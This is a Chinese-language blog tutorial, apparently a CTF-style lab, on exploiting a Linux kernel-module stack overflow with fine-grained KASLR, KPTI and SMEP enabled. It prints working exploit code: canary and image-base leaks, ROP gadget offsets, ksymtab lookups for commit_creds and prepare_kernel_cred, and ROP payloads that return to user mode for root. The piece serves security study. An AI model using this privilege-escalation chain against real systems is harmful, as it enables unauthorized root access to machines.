点击上方蓝字 关注我吧
介绍
-
kaslr会随机化内核的符号地址。这些随机化是细粒度的,即不同符号可能基地址不同,泄漏基地址加偏移量的方式将不会对所有符号起作用。
-
从text段开始到__x86_retpoline_r15范围内到镜像的基地址是固定的,
commit_creds()
和prepare_kernel_cred()
没有驻留在这个区域,但是可以在这里搜索rop。
/ # cat /proc/kallsyms |grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15
-
绕过kpti的rop
swapgs_restore_regs_and_return_to_usermode()
函数包含在text段开始到__x86_retpoline_r15范围内。
-
内核符号表ksymtab在这个范围内,可以用来计算。
commit_creds()
和prepare_kernel_cred()
/ # cat /proc/kallsyms |grep ksymtab|more
ffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector
ffffffff81f85198 R __start___ksymtab
-
符号表里 ffffffff81000000 T _stext
表示上述的text段开始到__x86_retpoline_r15范围内的基地址。
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 kaslr kpti=1 nosmap quiet panic=1"
利用需要的一些rop和结构
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;
struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
-
value_offset表示符号的实际偏移量(这个偏移量能够找到真实地址)。 -
name_offset表示符号名字。 -
namespace_offset表示命名空间偏移 -
注意这些地址是int(32位,而非64位)
ffffffff81f85198 R __start___ksymtab
是ksymtab结构的开始,接下来需要定位commit_creds函数在表中的具体位置。/ # cat /proc/kallsyms |grep ksymtab_commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
/ # cat /proc/kallsyms |grep ksymtab_prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
__ksymtab_commit_creds+*__ksymtab_commit_creds
漏洞利用
# cat /proc/kallsyms |grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15
ffffffff81f86140 r __ksymtab___x86_retpoline_r15
ffffffff81fb1ca9 r __kstrtab___x86_retpoline_r15
# cat /proc/kallsyms |grep stex|more
ffffffff81000000 T _stext
ffffffff81cdcfa0 r snstext
泄漏
unsigned n =40;
unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes long
ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
// int a[1];
// read(1,a,1);
cookie=leak[16];//0x80/8=0x10=16
base_image=leak[38]-0xa157;
pop_rax_ret=base_image+0x4d11UL;
kpti_trampoline = base_image + 0x200f10UL + 22UL;
read_mem_pop1_ret = base_image + 0x4aaeUL;
pop_rdi_rbp_ret = base_image + 0x38a0UL;
ksymtab_prepare_kernel_cred = base_image + 0xf8d4fcUL;
ksymtab_commit_creds = base_image + 0xf87d90UL;
printf("[*] leaked %zd bytesn",r_bytes);
printf("[*] leaked canary: %lxn",cookie);
printf("[*] leaked image base: %lxn",base_image);
leak_commit_creds();
ksymtab_commit_creds+*(int)ksymtab_commit_creds
,下面代码主要是获得*ksymtab_commit_creds。同样的方式可以获得prepare_kernel_cred的地址。需要注意的是-
write函数下面的代码是不会执行的:write进入内核模块触发漏洞,构造的rop链从内核模块返回到用户态中指定的地址。get_commit_creds函数不会返回,所以接下来的代码是不能返回的。
-
kpti_trampoline过程中不会修改rax寄存器的值。
void get_commit_creds(void){
__asm__(
".intel_syntax noprefix;"
"mov tmp_store, rax;"
".att_syntax;"
);
commit_creds = ksymtab_commit_creds + (int)tmp_store;
printf(" --> commit_creds: %lxn", commit_creds);
leak_prepare_kernel_cred();
}
void leak_commit_creds()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=pop_rax_ret;
payload[off++]=ksymtab_commit_creds-0x10;
payload[off++]=read_mem_pop1_ret;
payload[off++]=0x0;
payload[off++]=kpti_trampoline;
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to leak commit_creds()");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
commit_creds(prepare_kernel_cred(0))
需要分为两次,第一次调用的结果返回到用户态保存,第二次用保存的结果。void after_prepare_kernel_cred(void){
__asm__(
".intel_syntax noprefix;"
"mov tmp_store, rax;"
".att_syntax;"
);
returned_creds_struct = tmp_store;
printf(" --> returned_creds_struct: %lxn", returned_creds_struct);
call_commit_creds();
}
void call_prepare_kernel_cred(){
printf("call_prepare_kernel_credn");
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = 0; // rdi <- 0
payload[off++] = 0; // dummy rbp
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to call prepare_kernel_cred(0)");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
原创 | web中间件安全-Tomcat漏洞复现
原创 | web服务框架安全-ThinkPHP漏洞复现
原创 | tkMybatis中常见的注入场景
本文始发于微信公众号(SecIN技术平台):原创 | 内核缓冲区溢出3--开启kaslr
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论